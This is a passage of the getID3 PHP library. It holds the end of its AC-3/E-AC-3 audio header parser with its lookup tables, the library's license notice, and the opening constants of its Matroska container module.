			$thisfile_ac3_raw_bsi['bsid']             =        $this->readHeaderBSI(5); // we already know this from pre-parsing the version identifier, but re-read it to let the bitstream flow as intended
			$thisfile_ac3_raw_bsi['dialnorm']         =        $this->readHeaderBSI(5);
			$thisfile_ac3_raw_bsi['flags']['compr']       = (bool) $this->readHeaderBSI(1);
			if ($thisfile_ac3_raw_bsi['flags']['compr']) {
				$thisfile_ac3_raw_bsi['compr']        =        $this->readHeaderBSI(8);
			}
			if ($thisfile_ac3_raw_bsi['acmod'] == 0) { // if 1+1 mode (dual mono, so some items need a second value)
				$thisfile_ac3_raw_bsi['dialnorm2']    =        $this->readHeaderBSI(5);
				$thisfile_ac3_raw_bsi['flags']['compr2']  = (bool) $this->readHeaderBSI(1);
				if ($thisfile_ac3_raw_bsi['flags']['compr2']) {
					$thisfile_ac3_raw_bsi['compr2']   =        $this->readHeaderBSI(8);
				}
			}
			if ($thisfile_ac3_raw_bsi['strmtyp'] == 1) { // if dependent stream
				$thisfile_ac3_raw_bsi['flags']['chanmap'] = (bool) $this->readHeaderBSI(1);
				if ($thisfile_ac3_raw_bsi['flags']['chanmap']) {
					$thisfile_ac3_raw_bsi['chanmap']  =        $this->readHeaderBSI(8);
				}
			}
			$thisfile_ac3_raw_bsi['flags']['mixmdat']     = (bool) $this->readHeaderBSI(1);
			if ($thisfile_ac3_raw_bsi['flags']['mixmdat']) { // Mixing metadata
				if ($thisfile_ac3_raw_bsi['acmod'] > 2) { // if more than 2 channels
					$thisfile_ac3_raw_bsi['dmixmod']  =        $this->readHeaderBSI(2);
				}
				if (($thisfile_ac3_raw_bsi['acmod'] & 0x01) && ($thisfile_ac3_raw_bsi['acmod'] > 2)) { // if three front channels exist
					$thisfile_ac3_raw_bsi['ltrtcmixlev'] =        $this->readHeaderBSI(3);
					$thisfile_ac3_raw_bsi['lorocmixlev'] =        $this->readHeaderBSI(3);
				}
				if ($thisfile_ac3_raw_bsi['acmod'] & 0x04) { // if a surround channel exists
					$thisfile_ac3_raw_bsi['ltrtsurmixlev'] =        $this->readHeaderBSI(3);
					$thisfile_ac3_raw_bsi['lorosurmixlev'] =        $this->readHeaderBSI(3);
				}
				if ($thisfile_ac3_raw_bsi['flags']['lfeon']) { // if the LFE channel exists
					$thisfile_ac3_raw_bsi['flags']['lfemixlevcod'] = (bool) $this->readHeaderBSI(1);
					if ($thisfile_ac3_raw_bsi['flags']['lfemixlevcod']) {
						$thisfile_ac3_raw_bsi['lfemixlevcod']  =        $this->readHeaderBSI(5);
					}
				}
				if ($thisfile_ac3_raw_bsi['strmtyp'] == 0) { // if independent stream
					$thisfile_ac3_raw_bsi['flags']['pgmscl'] = (bool) $this->readHeaderBSI(1);
					if ($thisfile_ac3_raw_bsi['flags']['pgmscl']) {
						$thisfile_ac3_raw_bsi['pgmscl']  =        $this->readHeaderBSI(6);
					}
					if ($thisfile_ac3_raw_bsi['acmod'] == 0) { // if 1+1 mode (dual mono, so some items need a second value)
						$thisfile_ac3_raw_bsi['flags']['pgmscl2'] = (bool) $this->readHeaderBSI(1);
						if ($thisfile_ac3_raw_bsi['flags']['pgmscl2']) {
							$thisfile_ac3_raw_bsi['pgmscl2']  =        $this->readHeaderBSI(6);
						}
					}
					$thisfile_ac3_raw_bsi['flags']['extpgmscl'] = (bool) $this->readHeaderBSI(1);
					if ($thisfile_ac3_raw_bsi['flags']['extpgmscl']) {
						$thisfile_ac3_raw_bsi['extpgmscl']  =        $this->readHeaderBSI(6);
					}
					$thisfile_ac3_raw_bsi['mixdef']  =        $this->readHeaderBSI(2);
					if ($thisfile_ac3_raw_bsi['mixdef'] == 1) { // mixing option 2
						$thisfile_ac3_raw_bsi['premixcmpsel']  = (bool) $this->readHeaderBSI(1);
						$thisfile_ac3_raw_bsi['drcsrc']        = (bool) $this->readHeaderBSI(1);
						$thisfile_ac3_raw_bsi['premixcmpscl']  =        $this->readHeaderBSI(3);
					} elseif ($thisfile_ac3_raw_bsi['mixdef'] == 2) { // mixing option 3
						$thisfile_ac3_raw_bsi['mixdata']       =        $this->readHeaderBSI(12);
					} elseif ($thisfile_ac3_raw_bsi['mixdef'] == 3) { // mixing option 4
						$mixdefbitsread = 0;
						$thisfile_ac3_raw_bsi['mixdeflen']     =        $this->readHeaderBSI(5); $mixdefbitsread += 5;
						$thisfile_ac3_raw_bsi['flags']['mixdata2'] = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1;
						if ($thisfile_ac3_raw_bsi['flags']['mixdata2']) {
							$thisfile_ac3_raw_bsi['premixcmpsel']  = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1;
							$thisfile_ac3_raw_bsi['drcsrc']        = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1;
							$thisfile_ac3_raw_bsi['premixcmpscl']  =        $this->readHeaderBSI(3); $mixdefbitsread += 3;
							$thisfile_ac3_raw_bsi['flags']['extpgmlscl']   = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1;
							if ($thisfile_ac3_raw_bsi['flags']['extpgmlscl']) {
								$thisfile_ac3_raw_bsi['extpgmlscl']    =        $this->readHeaderBSI(4); $mixdefbitsread += 4;
							}
							$thisfile_ac3_raw_bsi['flags']['extpgmcscl']   = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1;
							if ($thisfile_ac3_raw_bsi['flags']['extpgmcscl']) {
								$thisfile_ac3_raw_bsi['extpgmcscl']    =        $this->readHeaderBSI(4); $mixdefbitsread += 4;
							}
							$thisfile_ac3_raw_bsi['flags']['extpgmrscl']   = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1;
							if ($thisfile_ac3_raw_bsi['flags']['extpgmrscl']) {
								$thisfile_ac3_raw_bsi['extpgmrscl']    =        $this->readHeaderBSI(4);
							}
							$thisfile_ac3_raw_bsi['flags']['extpgmlsscl']  = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1;
							if ($thisfile_ac3_raw_bsi['flags']['extpgmlsscl']) {
								$thisfile_ac3_raw_bsi['extpgmlsscl']   =        $this->readHeaderBSI(4); $mixdefbitsread += 4;
							}
							$thisfile_ac3_raw_bsi['flags']['extpgmrsscl']  = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1;
							if ($thisfile_ac3_raw_bsi['flags']['extpgmrsscl']) {
								$thisfile_ac3_raw_bsi['extpgmrsscl']   =        $this->readHeaderBSI(4); $mixdefbitsread += 4;
							}
							$thisfile_ac3_raw_bsi['flags']['extpgmlfescl'] = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1;
							if ($thisfile_ac3_raw_bsi['flags']['extpgmlfescl']) {
								$thisfile_ac3_raw_bsi['extpgmlfescl']  =        $this->readHeaderBSI(4); $mixdefbitsread += 4;
							}
							$thisfile_ac3_raw_bsi['flags']['dmixscl']      = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1;
							if ($thisfile_ac3_raw_bsi['flags']['dmixscl']) {
								$thisfile_ac3_raw_bsi['dmixscl']       =        $this->readHeaderBSI(4); $mixdefbitsread += 4;
							}
							$thisfile_ac3_raw_bsi['flags']['addch']        = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1;
							if ($thisfile_ac3_raw_bsi['flags']['addch']) {
								$thisfile_ac3_raw_bsi['flags']['extpgmaux1scl']   = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1;
								if ($thisfile_ac3_raw_bsi['flags']['extpgmaux1scl']) {
									$thisfile_ac3_raw_bsi['extpgmaux1scl']    =        $this->readHeaderBSI(4); $mixdefbitsread += 4;
								}
								$thisfile_ac3_raw_bsi['flags']['extpgmaux2scl']   = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1;
								if ($thisfile_ac3_raw_bsi['flags']['extpgmaux2scl']) {
									$thisfile_ac3_raw_bsi['extpgmaux2scl']    =        $this->readHeaderBSI(4); $mixdefbitsread += 4;
								}
							}
						}
						$thisfile_ac3_raw_bsi['flags']['mixdata3'] = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1;
						if ($thisfile_ac3_raw_bsi['flags']['mixdata3']) {
							$thisfile_ac3_raw_bsi['spchdat']   =        $this->readHeaderBSI(5); $mixdefbitsread += 5;
							$thisfile_ac3_raw_bsi['flags']['addspchdat'] = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1;
							if ($thisfile_ac3_raw_bsi['flags']['addspchdat']) {
								$thisfile_ac3_raw_bsi['spchdat1']   =         $this->readHeaderBSI(5); $mixdefbitsread += 5;
								$thisfile_ac3_raw_bsi['spchan1att'] =         $this->readHeaderBSI(2); $mixdefbitsread += 2;
								$thisfile_ac3_raw_bsi['flags']['addspchdat1'] = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1;
								if ($thisfile_ac3_raw_bsi['flags']['addspchdat1']) {
									$thisfile_ac3_raw_bsi['spchdat2']   =         $this->readHeaderBSI(5); $mixdefbitsread += 5;
									$thisfile_ac3_raw_bsi['spchan2att'] =         $this->readHeaderBSI(3); $mixdefbitsread += 3;
								}
							}
						}
						$mixdata_bits = (8 * ($thisfile_ac3_raw_bsi['mixdeflen'] + 2)) - $mixdefbitsread;
						$mixdata_fill = (($mixdata_bits % 8) ? 8 - ($mixdata_bits % 8) : 0);
						$thisfile_ac3_raw_bsi['mixdata']     =        $this->readHeaderBSI($mixdata_bits);
						$thisfile_ac3_raw_bsi['mixdatafill'] =        $this->readHeaderBSI($mixdata_fill);
						unset($mixdefbitsread, $mixdata_bits, $mixdata_fill);
					}
					if ($thisfile_ac3_raw_bsi['acmod'] < 2) { // if mono or dual mono source
						$thisfile_ac3_raw_bsi['flags']['paninfo'] = (bool) $this->readHeaderBSI(1);
						if ($thisfile_ac3_raw_bsi['flags']['paninfo']) {
							$thisfile_ac3_raw_bsi['panmean']   =        $this->readHeaderBSI(8);
							$thisfile_ac3_raw_bsi['paninfo']   =        $this->readHeaderBSI(6);
						}
						if ($thisfile_ac3_raw_bsi['acmod'] == 0) { // if 1+1 mode (dual mono, so some items need a second value)
							$thisfile_ac3_raw_bsi['flags']['paninfo2'] = (bool) $this->readHeaderBSI(1);
							if ($thisfile_ac3_raw_bsi['flags']['paninfo2']) {
								$thisfile_ac3_raw_bsi['panmean2']   =        $this->readHeaderBSI(8);
								$thisfile_ac3_raw_bsi['paninfo2']   =        $this->readHeaderBSI(6);
							}
						}
					}
					$thisfile_ac3_raw_bsi['flags']['frmmixcfginfo'] = (bool) $this->readHeaderBSI(1);
					if ($thisfile_ac3_raw_bsi['flags']['frmmixcfginfo']) { // mixing configuration information
						if ($thisfile_ac3_raw_bsi['numblkscod'] == 0) {
							$thisfile_ac3_raw_bsi['blkmixcfginfo'][0]  =        $this->readHeaderBSI(5);
						} else {
							for ($blk = 0; $blk < $thisfile_ac3_raw_bsi['numblkscod']; $blk++) {
								$thisfile_ac3_raw_bsi['flags']['blkmixcfginfo'.$blk] = (bool) $this->readHeaderBSI(1);
								if ($thisfile_ac3_raw_bsi['flags']['blkmixcfginfo'.$blk]) { // mixing configuration information
									$thisfile_ac3_raw_bsi['blkmixcfginfo'][$blk]  =        $this->readHeaderBSI(5);
								}
							}
						}
					}
				}
			}
			$thisfile_ac3_raw_bsi['flags']['infomdat']          = (bool) $this->readHeaderBSI(1);
			if ($thisfile_ac3_raw_bsi['flags']['infomdat']) { // Informational metadata
				$thisfile_ac3_raw_bsi['bsmod']                  =        $this->readHeaderBSI(3);
				$thisfile_ac3_raw_bsi['flags']['copyrightb']    = (bool) $this->readHeaderBSI(1);
				$thisfile_ac3_raw_bsi['flags']['origbs']        = (bool) $this->readHeaderBSI(1);
				if ($thisfile_ac3_raw_bsi['acmod'] == 2) { //  if in 2/0 mode
					$thisfile_ac3_raw_bsi['dsurmod']            =        $this->readHeaderBSI(2);
					$thisfile_ac3_raw_bsi['dheadphonmod']       =        $this->readHeaderBSI(2);
				}
				if ($thisfile_ac3_raw_bsi['acmod'] >= 6) { //  if both surround channels exist
					$thisfile_ac3_raw_bsi['dsurexmod']          =        $this->readHeaderBSI(2);
				}
				$thisfile_ac3_raw_bsi['flags']['audprodi']      = (bool) $this->readHeaderBSI(1);
				if ($thisfile_ac3_raw_bsi['flags']['audprodi']) {
					$thisfile_ac3_raw_bsi['mixlevel']           =        $this->readHeaderBSI(5);
					$thisfile_ac3_raw_bsi['roomtyp']            =        $this->readHeaderBSI(2);
					$thisfile_ac3_raw_bsi['flags']['adconvtyp'] = (bool) $this->readHeaderBSI(1);
				}
				if ($thisfile_ac3_raw_bsi['acmod'] == 0) { //  if 1+1 mode (dual mono, so some items need a second value)
					$thisfile_ac3_raw_bsi['flags']['audprodi2']      = (bool) $this->readHeaderBSI(1);
					if ($thisfile_ac3_raw_bsi['flags']['audprodi2']) {
						$thisfile_ac3_raw_bsi['mixlevel2']           =        $this->readHeaderBSI(5);
						$thisfile_ac3_raw_bsi['roomtyp2']            =        $this->readHeaderBSI(2);
						$thisfile_ac3_raw_bsi['flags']['adconvtyp2'] = (bool) $this->readHeaderBSI(1);
					}
				}
				if ($thisfile_ac3_raw_bsi['fscod'] < 3) { // if not half sample rate
					$thisfile_ac3_raw_bsi['flags']['sourcefscod'] = (bool) $this->readHeaderBSI(1);
				}
			}
			if (($thisfile_ac3_raw_bsi['strmtyp'] == 0) && ($thisfile_ac3_raw_bsi['numblkscod'] != 3)) { //  if both surround channels exist
				$thisfile_ac3_raw_bsi['flags']['convsync'] = (bool) $this->readHeaderBSI(1);
			}
			if ($thisfile_ac3_raw_bsi['strmtyp'] == 2) { //  if bit stream converted from AC-3
				if ($thisfile_ac3_raw_bsi['numblkscod'] != 3) { // 6 blocks per syncframe
					$thisfile_ac3_raw_bsi['flags']['blkid']  = 1;
				} else {
					$thisfile_ac3_raw_bsi['flags']['blkid']  = (bool) $this->readHeaderBSI(1);
				}
				if ($thisfile_ac3_raw_bsi['flags']['blkid']) {
					$thisfile_ac3_raw_bsi['frmsizecod']  =        $this->readHeaderBSI(6);
				}
			}
			$thisfile_ac3_raw_bsi['flags']['addbsi']  = (bool) $this->readHeaderBSI(1);
			if ($thisfile_ac3_raw_bsi['flags']['addbsi']) {
				$thisfile_ac3_raw_bsi['addbsil']  =        $this->readHeaderBSI(6);
				$thisfile_ac3_raw_bsi['addbsi']   =        $this->readHeaderBSI(($thisfile_ac3_raw_bsi['addbsil'] + 1) * 8);
			}

		} else {

			$this->error('Bit stream identification is version '.$thisfile_ac3_raw_bsi['bsid'].', but getID3() only understands up to version 16. Please submit a support ticket with a sample file.');
			unset($info['ac3']);
			return false;

		}

		if (isset($thisfile_ac3_raw_bsi['fscod2'])) {
			$thisfile_ac3['sample_rate'] = self::sampleRateCodeLookup2($thisfile_ac3_raw_bsi['fscod2']);
		} else {
			$thisfile_ac3['sample_rate'] = self::sampleRateCodeLookup($thisfile_ac3_raw_bsi['fscod']);
		}
		if ($thisfile_ac3_raw_bsi['fscod'] <= 3) {
			$info['audio']['sample_rate'] = $thisfile_ac3['sample_rate'];
		} else {
			$this->warning('Unexpected ac3.bsi.fscod value: '.$thisfile_ac3_raw_bsi['fscod']);
		}
		if (isset($thisfile_ac3_raw_bsi['frmsizecod'])) {
			$thisfile_ac3['frame_length'] = self::frameSizeLookup($thisfile_ac3_raw_bsi['frmsizecod'], $thisfile_ac3_raw_bsi['fscod']);
			$thisfile_ac3['bitrate']      = self::bitrateLookup($thisfile_ac3_raw_bsi['frmsizecod']);
		} elseif (!empty($thisfile_ac3_raw_bsi['frmsiz'])) {
			// this isn't right, but it's (usually) close, roughly 5% less than it should be.
			// but WHERE is the actual bitrate value stored in EAC3?? email info@getid3.org if you know!
			$thisfile_ac3['bitrate']      = ($thisfile_ac3_raw_bsi['frmsiz'] + 1) * 16 * 30; // The frmsiz field shall contain a value one less than the overall size of the coded syncframe in 16-bit words. That is, this field may assume a value ranging from 0 to 2047, and these values correspond to syncframe sizes ranging from 1 to 2048.
			// kludge-fix to make it approximately the expected value, still not "right":
			$thisfile_ac3['bitrate'] = round(($thisfile_ac3['bitrate'] * 1.05) / 16000) * 16000;
		}
		$info['audio']['bitrate'] = $thisfile_ac3['bitrate'];

		if (isset($thisfile_ac3_raw_bsi['bsmod']) && isset($thisfile_ac3_raw_bsi['acmod'])) {
			$thisfile_ac3['service_type'] = self::serviceTypeLookup($thisfile_ac3_raw_bsi['bsmod'], $thisfile_ac3_raw_bsi['acmod']);
		}
		$ac3_coding_mode = self::audioCodingModeLookup($thisfile_ac3_raw_bsi['acmod']);
		foreach($ac3_coding_mode as $key => $value) {
			$thisfile_ac3[$key] = $value;
		}
		switch ($thisfile_ac3_raw_bsi['acmod']) {
			case 0:
			case 1:
				$info['audio']['channelmode'] = 'mono';
				break;
			case 3:
			case 4:
				$info['audio']['channelmode'] = 'stereo';
				break;
			default:
				$info['audio']['channelmode'] = 'surround';
				break;
		}
		$info['audio']['channels'] = $thisfile_ac3['num_channels'];

		$thisfile_ac3['lfe_enabled'] = $thisfile_ac3_raw_bsi['flags']['lfeon'];
		if ($thisfile_ac3_raw_bsi['flags']['lfeon']) {
			$info['audio']['channels'] .= '.1';
		}

		$thisfile_ac3['channels_enabled'] = self::channelsEnabledLookup($thisfile_ac3_raw_bsi['acmod'], $thisfile_ac3_raw_bsi['flags']['lfeon']);
		$thisfile_ac3['dialogue_normalization'] = '-'.$thisfile_ac3_raw_bsi['dialnorm'].'dB';

		return true;
	}

	/**
	 * @param int $length
	 *
	 * @return int
	 */
	private function readHeaderBSI($length) {
		$data = substr($this->AC3header['bsi'], $this->BSIoffset, $length);
		$this->BSIoffset += $length;

		return bindec($data);
	}

	/**
	 * @param int $fscod
	 *
	 * @return int|string|false
	 */
	public static function sampleRateCodeLookup($fscod) {
		static $sampleRateCodeLookup = array(
			0 => 48000,
			1 => 44100,
			2 => 32000,
			3 => 'reserved' // If the reserved code is indicated, the decoder should not attempt to decode audio and should mute.
		);
		return (isset($sampleRateCodeLookup[$fscod]) ? $sampleRateCodeLookup[$fscod] : false);
	}

	/**
	 * @param int $fscod2
	 *
	 * @return int|string|false
	 */
	public static function sampleRateCodeLookup2($fscod2) {
		static $sampleRateCodeLookup2 = array(
			0 => 24000,
			1 => 22050,
			2 => 16000,
			3 => 'reserved' // If the reserved code is indicated, the decoder should not attempt to decode audio and should mute.
		);
		return (isset($sampleRateCodeLookup2[$fscod2]) ? $sampleRateCodeLookup2[$fscod2] : false);
	}

	/**
	 * @param int $bsmod
	 * @param int $acmod
	 *
	 * @return string|false
	 */
	public static function serviceTypeLookup($bsmod, $acmod) {
		static $serviceTypeLookup = array();
		if (empty($serviceTypeLookup)) {
			for ($i = 0; $i <= 7; $i++) {
				$serviceTypeLookup[0][$i] = 'main audio service: complete main (CM)';
				$serviceTypeLookup[1][$i] = 'main audio service: music and effects (ME)';
				$serviceTypeLookup[2][$i] = 'associated service: visually impaired (VI)';
				$serviceTypeLookup[3][$i] = 'associated service: hearing impaired (HI)';
				$serviceTypeLookup[4][$i] = 'associated service: dialogue (D)';
				$serviceTypeLookup[5][$i] = 'associated service: commentary (C)';
				$serviceTypeLookup[6][$i] = 'associated service: emergency (E)';
			}

			$serviceTypeLookup[7][1]      = 'associated service: voice over (VO)';
			for ($i = 2; $i <= 7; $i++) {
				$serviceTypeLookup[7][$i] = 'main audio service: karaoke';
			}
		}
		return (isset($serviceTypeLookup[$bsmod][$acmod]) ? $serviceTypeLookup[$bsmod][$acmod] : false);
	}

	/**
	 * @param int $acmod
	 *
	 * @return array|false
	 */
	public static function audioCodingModeLookup($acmod) {
		// array(channel configuration, # channels (not incl LFE), channel order)
		static $audioCodingModeLookup = array (
			0 => array('channel_config'=>'1+1', 'num_channels'=>2, 'channel_order'=>'Ch1,Ch2'),
			1 => array('channel_config'=>'1/0', 'num_channels'=>1, 'channel_order'=>'C'),
			2 => array('channel_config'=>'2/0', 'num_channels'=>2, 'channel_order'=>'L,R'),
			3 => array('channel_config'=>'3/0', 'num_channels'=>3, 'channel_order'=>'L,C,R'),
			4 => array('channel_config'=>'2/1', 'num_channels'=>3, 'channel_order'=>'L,R,S'),
			5 => array('channel_config'=>'3/1', 'num_channels'=>4, 'channel_order'=>'L,C,R,S'),
			6 => array('channel_config'=>'2/2', 'num_channels'=>4, 'channel_order'=>'L,R,SL,SR'),
			7 => array('channel_config'=>'3/2', 'num_channels'=>5, 'channel_order'=>'L,C,R,SL,SR'),
		);
		return (isset($audioCodingModeLookup[$acmod]) ? $audioCodingModeLookup[$acmod] : false);
	}

	/**
	 * @param int $cmixlev
	 *
	 * @return int|float|string|false
	 */
	public static function centerMixLevelLookup($cmixlev) {
		static $centerMixLevelLookup;
		if (empty($centerMixLevelLookup)) {
			$centerMixLevelLookup = array(
				0 => pow(2, -3.0 / 6), // 0.707 (-3.0 dB)
				1 => pow(2, -4.5 / 6), // 0.595 (-4.5 dB)
				2 => pow(2, -6.0 / 6), // 0.500 (-6.0 dB)
				3 => 'reserved'
			);
		}
		return (isset($centerMixLevelLookup[$cmixlev]) ? $centerMixLevelLookup[$cmixlev] : false);
	}

	/**
	 * @param int $surmixlev
	 *
	 * @return int|float|string|false
	 */
	public static function surroundMixLevelLookup($surmixlev) {
		static $surroundMixLevelLookup;
		if (empty($surroundMixLevelLookup)) {
			$surroundMixLevelLookup = array(
				0 => pow(2, -3.0 / 6),
				1 => pow(2, -6.0 / 6),
				2 => 0,
				3 => 'reserved'
			);
		}
		return (isset($surroundMixLevelLookup[$surmixlev]) ? $surroundMixLevelLookup[$surmixlev] : false);
	}

	/**
	 * @param int $dsurmod
	 *
	 * @return string|false
	 */
	public static function dolbySurroundModeLookup($dsurmod) {
		static $dolbySurroundModeLookup = array(
			0 => 'not indicated',
			1 => 'Not Dolby Surround encoded',
			2 => 'Dolby Surround encoded',
			3 => 'reserved'
		);
		return (isset($dolbySurroundModeLookup[$dsurmod]) ? $dolbySurroundModeLookup[$dsurmod] : false);
	}

	/**
	 * @param int  $acmod
	 * @param bool $lfeon
	 *
	 * @return array
	 */
	public static function channelsEnabledLookup($acmod, $lfeon) {
		$lookup = array(
			'ch1'=>($acmod == 0),
			'ch2'=>($acmod == 0),
			'left'=>($acmod > 1),
			'right'=>($acmod > 1),
			'center'=>(bool) ($acmod & 0x01),
			'surround_mono'=>false,
			'surround_left'=>false,
			'surround_right'=>false,
			'lfe'=>$lfeon);
		switch ($acmod) {
			case 4:
			case 5:
				$lookup['surround_mono']  = true;
				break;
			case 6:
			case 7:
				$lookup['surround_left']  = true;
				$lookup['surround_right'] = true;
				break;
		}
		return $lookup;
	}

	/**
	 * @param int $compre
	 *
	 * @return float|int
	 */
	public static function heavyCompression($compre) {
		// The first four bits indicate gain changes in 6.02dB increments which can be
		// implemented with an arithmetic shift operation. The following four bits
		// indicate linear gain changes, and require a 5-bit multiply.
		// We will represent the two 4-bit fields of compr as follows:
		//   X0 X1 X2 X3 . Y4 Y5 Y6 Y7
		// The meaning of the X values is most simply described by considering X to represent a 4-bit
		// signed integer with values from -8 to +7. The gain indicated by X is then (X + 1) * 6.02 dB. The
		// following table shows this in detail.

		// Meaning of 4 msb of compr
		//  7    +48.16 dB
		//  6    +42.14 dB
		//  5    +36.12 dB
		//  4    +30.10 dB
		//  3    +24.08 dB
		//  2    +18.06 dB
		//  1    +12.04 dB
		//  0     +6.02 dB
		// -1         0 dB
		// -2     -6.02 dB
		// -3    -12.04 dB
		// -4    -18.06 dB
		// -5    -24.08 dB
		// -6    -30.10 dB
		// -7    -36.12 dB
		// -8    -42.14 dB

		$fourbit = str_pad(decbin(($compre & 0xF0) >> 4), 4, '0', STR_PAD_LEFT);
		if ($fourbit[0] == '1') {
			$log_gain = -8 + bindec(substr($fourbit, 1));
		} else {
			$log_gain = bindec(substr($fourbit, 1));
		}
		$log_gain = ($log_gain + 1) * getid3_lib::RGADamplitude2dB(2);

		// The value of Y is a linear representation of a gain change of up to -6 dB. Y is considered to
		// be an unsigned fractional integer, with a leading value of 1, or: 0.1 Y4 Y5 Y6 Y7 (base 2). Y can
		// represent values between 0.111112 (or 31/32) and 0.100002 (or 1/2). Thus, Y can represent gain
		// changes from -0.28 dB to -6.02 dB.

		$lin_gain = (16 + ($compre & 0x0F)) / 32;

		// The combination of X and Y values allows compr to indicate gain changes from
		//  48.16 - 0.28 = +47.89 dB, to
		// -42.14 - 6.02 = -48.16 dB.

		return $log_gain - $lin_gain;
	}

	/**
	 * @param int $roomtyp
	 *
	 * @return string|false
	 */
	public static function roomTypeLookup($roomtyp) {
		static $roomTypeLookup = array(
			0 => 'not indicated',
			1 => 'large room, X curve monitor',
			2 => 'small room, flat monitor',
			3 => 'reserved'
		);
		return (isset($roomTypeLookup[$roomtyp]) ? $roomTypeLookup[$roomtyp] : false);
	}

	/**
	 * @param int $frmsizecod
	 * @param int $fscod
	 *
	 * @return int|false
	 */
	public static function frameSizeLookup($frmsizecod, $fscod) {
		// LSB is whether padding is used or not
		$padding     = (bool) ($frmsizecod & 0x01);
		$framesizeid =        ($frmsizecod & 0x3E) >> 1;

		static $frameSizeLookup = array();
		if (empty($frameSizeLookup)) {
			$frameSizeLookup = array (
				0  => array( 128,  138,  192),  //  32 kbps
				1  => array( 160,  174,  240),  //  40 kbps
				2  => array( 192,  208,  288),  //  48 kbps
				3  => array( 224,  242,  336),  //  56 kbps
				4  => array( 256,  278,  384),  //  64 kbps
				5  => array( 320,  348,  480),  //  80 kbps
				6  => array( 384,  416,  576),  //  96 kbps
				7  => array( 448,  486,  672),  // 112 kbps
				8  => array( 512,  556,  768),  // 128 kbps
				9  => array( 640,  696,  960),  // 160 kbps
				10 => array( 768,  834, 1152),  // 192 kbps
				11 => array( 896,  974, 1344),  // 224 kbps
				12 => array(1024, 1114, 1536),  // 256 kbps
				13 => array(1280, 1392, 1920),  // 320 kbps
				14 => array(1536, 1670, 2304),  // 384 kbps
				15 => array(1792, 1950, 2688),  // 448 kbps
				16 => array(2048, 2228, 3072),  // 512 kbps
				17 => array(2304, 2506, 3456),  // 576 kbps
				18 => array(2560, 2786, 3840)   // 640 kbps
			);
		}
		$paddingBytes = 0;
		if (($fscod == 1) && $padding) {
			// frame lengths are padded by 1 word (16 bits) at 44100
			// (fscode==1) means 44100Hz (see sampleRateCodeLookup)
			$paddingBytes = 2;
		}
		return (isset($frameSizeLookup[$framesizeid][$fscod]) ? $frameSizeLookup[$framesizeid][$fscod] + $paddingBytes : false);
	}

	/**
	 * @param int $frmsizecod
	 *
	 * @return int|false
	 */
	public static function bitrateLookup($frmsizecod) {
		// LSB is whether padding is used or not
		$padding     = (bool) ($frmsizecod & 0x01);
		$framesizeid =        ($frmsizecod & 0x3E) >> 1;

		static $bitrateLookup = array(
			 0 =>  32000,
			 1 =>  40000,
			 2 =>  48000,
			 3 =>  56000,
			 4 =>  64000,
			 5 =>  80000,
			 6 =>  96000,
			 7 => 112000,
			 8 => 128000,
			 9 => 160000,
			10 => 192000,
			11 => 224000,
			12 => 256000,
			13 => 320000,
			14 => 384000,
			15 => 448000,
			16 => 512000,
			17 => 576000,
			18 => 640000,
		);
		return (isset($bitrateLookup[$framesizeid]) ? $bitrateLookup[$framesizeid] : false);
	}

	/**
	 * @param int $numblkscod
	 *
	 * @return int|false
	 */
	public static function blocksPerSyncFrame($numblkscod) {
		static $blocksPerSyncFrameLookup = array(
			0 => 1,
			1 => 2,
			2 => 3,
			3 => 6,
		);
		return (isset($blocksPerSyncFrameLookup[$numblkscod]) ? $blocksPerSyncFrameLookup[$numblkscod] : false);
	}


}
/////////////////////////////////////////////////////////////////
/// getID3() by James Heinrich <info@getid3.org>               //
//  available at http://getid3.sourceforge.net                 //
//            or https://www.getid3.org                        //
//          also https://github.com/JamesHeinrich/getID3       //
/////////////////////////////////////////////////////////////////

*****************************************************************
*****************************************************************

   getID3() is released under multiple licenses. You may choose
   from the following licenses, and use getID3 according to the
   terms of the license most suitable to your project.

GNU GPL: https://gnu.org/licenses/gpl.html                   (v3)
         https://gnu.org/licenses/old-licenses/gpl-2.0.html  (v2)
         https://gnu.org/licenses/old-licenses/gpl-1.0.html  (v1)

GNU LGPL: https://gnu.org/licenses/lgpl.html                 (v3)

Mozilla MPL: https://www.mozilla.org/MPL/2.0/                (v2)

getID3 Commercial License: https://www.getid3.org/#gCL
(no longer available, existing licenses remain valid)

*****************************************************************
*****************************************************************

Copies of each of the above licenses are included in the 'licenses'
directory of the getID3 distribution.
<?php

/////////////////////////////////////////////////////////////////
/// getID3() by James Heinrich <info@getid3.org>               //
//  available at https://github.com/JamesHeinrich/getID3       //
//            or https://www.getid3.org                        //
//            or http://getid3.sourceforge.net                 //
//  see readme.txt for more details                            //
/////////////////////////////////////////////////////////////////
//                                                             //
// module.audio-video.matriska.php                             //
// module for analyzing Matroska containers                    //
// dependencies: NONE                                          //
//                                                            ///
/////////////////////////////////////////////////////////////////

if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers
	exit;
}

define('EBML_ID_CHAPTERS',                  0x0043A770); // [10][43][A7][70] -- A system to define basic menus and partition data. For more detailed information, look at the Chapters Explanation.
define('EBML_ID_SEEKHEAD',                  0x014D9B74); // [11][4D][9B][74] -- Contains the position of other level 1 elements.
define('EBML_ID_TAGS',                      0x0254C367); // [12][54][C3][67] -- Element containing elements specific to Tracks/Chapters. A list of valid tags can be found <http://www.matroska.org/technical/specs/tagging/index.html>.
define('EBML_ID_INFO',                      0x0549A966); // [15][49][A9][66] -- Contains miscellaneous general information and statistics on the file.
define('EBML_ID_TRACKS',                    0x0654AE6B); // [16][54][AE][6B] -- A top-level block of information with many tracks described.
define('EBML_ID_SEGMENT',                   0x08538067); // [18][53][80][67] -- This element contains all other top-level (level 1) elements. Typically a Matroska file is composed of 1 segment.
